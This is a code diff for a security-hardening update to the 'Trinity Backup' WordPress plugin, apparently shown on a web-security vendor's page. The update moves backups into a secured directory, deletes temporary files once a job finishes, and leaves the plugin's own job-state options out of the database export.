$this->filesystem->ensureDir($baseDir);
}
@@ -171,6 +171,8 @@
private function buildDoneResponse(array $state): array
{
+ $this->cleanupTemporaryArtifacts($state);
+
$response = [
'status' => 'done',
'stage' => 'done',
@@ -189,6 +191,15 @@
return $response;
}
+ private function cleanupTemporaryArtifacts(array $state): void
+ {
+ foreach (['db_path', 'manifest_path'] as $key) {
+ if (!empty($state[$key]) && is_string($state[$key])) {
+ StorageSecurity::deleteFileInsideBase($state[$key]);
+ }
+ }
+ }
+
private function getTimeLimit(): int
{
$value = (int) get_option('trinity_backup_time_limit', self::DEFAULT_TIME_LIMIT);
--- a/trinity-backup/src/Engine/Pipeline.php
+++ b/trinity-backup/src/Engine/Pipeline.php
@@ -9,6 +9,7 @@
}
use TrinityBackupCoreStateManager;
+use TrinityBackupCoreStorageSecurity;
use TrinityBackupEngineStepsExportDatabase;
use TrinityBackupEngineStepsExportFiles;
use TrinityBackupFilesystemFilesystemInterface;
@@ -53,7 +54,8 @@
$jobId = $this->stateManager->create();
$uploads = wp_upload_dir();
- $baseDir = trailingslashit($uploads['basedir']) . 'trinity-backup/' . $jobId;
+ $backupBaseDir = StorageSecurity::ensureBaseDirectory();
+ $baseDir = StorageSecurity::ensureJobDirectory($jobId);
$this->filesystem->ensureDir($baseDir);
// Write simple metadata to identify how this backup was created.
@@ -75,7 +77,7 @@
$archivePath = $baseDir . '/' . $jobId . '.trinity';
// Build exclude directories based on options
- $excludeDirs = [trailingslashit($uploads['basedir']) . 'trinity-backup'];
+ $excludeDirs = [$backupBaseDir];
if (!empty($options['no_media'])) {
$excludeDirs[] = trailingslashit($uploads['basedir']);
@@ -175,8 +177,8 @@
private function buildDoneResponse(array $state): array
{
- $uploads = wp_upload_dir();
- $downloadUrl = trailingslashit($uploads['baseurl']) . 'trinity-backup/' . $state['job_id'] . '/' . $state['job_id'] . '.trinity';
+ $this->cleanupTemporaryArtifacts($state);
+ $downloadUrl = StorageSecurity::buildDownloadUrl((string) $state['job_id']);
return [
'status' => 'done',
@@ -188,6 +190,15 @@
];
}
+ private function cleanupTemporaryArtifacts(array $state): void
+ {
+ foreach (['db_path', 'manifest_path'] as $key) {
+ if (!empty($state[$key]) && is_string($state[$key])) {
+ StorageSecurity::deleteFileInsideBase($state[$key]);
+ }
+ }
+ }
+
private function getTimeLimit(): int
{
$value = (int) get_option('trinity_backup_time_limit', self::DEFAULT_TIME_LIMIT);
--- a/trinity-backup/src/Engine/Steps/ExportDatabase.php
+++ b/trinity-backup/src/Engine/Steps/ExportDatabase.php
@@ -157,6 +157,15 @@
$escapedTable = str_replace('`', '``', $table);
// Фильтрация спам-комментариев
+ if ($table === $wpdb->options) {
+ return sprintf(
+ "SELECT * FROM `%s` WHERE option_name != 'trinity_backup_current_job' AND LEFT(option_name, 21) != 'trinity_backup_state_' LIMIT %d, %d",
+ $escapedTable,
+ $offset,
+ $limit
+ );
+ }
+
if ($noSpam && $table === $wpdb->comments) {
return sprintf(
"SELECT * FROM `%s` WHERE comment_approved != 'spam' LIMIT %d, %d",
--- a/trinity-backup/trinity-backup.php
+++ b/trinity-backup/trinity-backup.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: Trinity Backup - Backup, Migrate, Restore, Clone & Schedule Backups
* Description: Lightweight backup and migration plugin with chunked processing, streaming archives, and optional AES-256 encryption. Create full site backups, migrate between servers, and restore with ease.
- * Version: 2.0.9
+ * Version: 2.0.10
* Author: KingAddons.com
* Author URI: https://trinity.kingaddons.com
* License: GPLv2 or later
@@ -154,4 +154,6 @@
require_once __DIR__ . '/src/Core/Autoloader.php';
TrinityBackupCoreAutoloader::register();
+register_activation_hook(__FILE__, [TrinityBackupCoreStorageSecurity::class, 'install']);
+
TrinityBackupCorePlugin::init();
Frequently Asked Questions
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






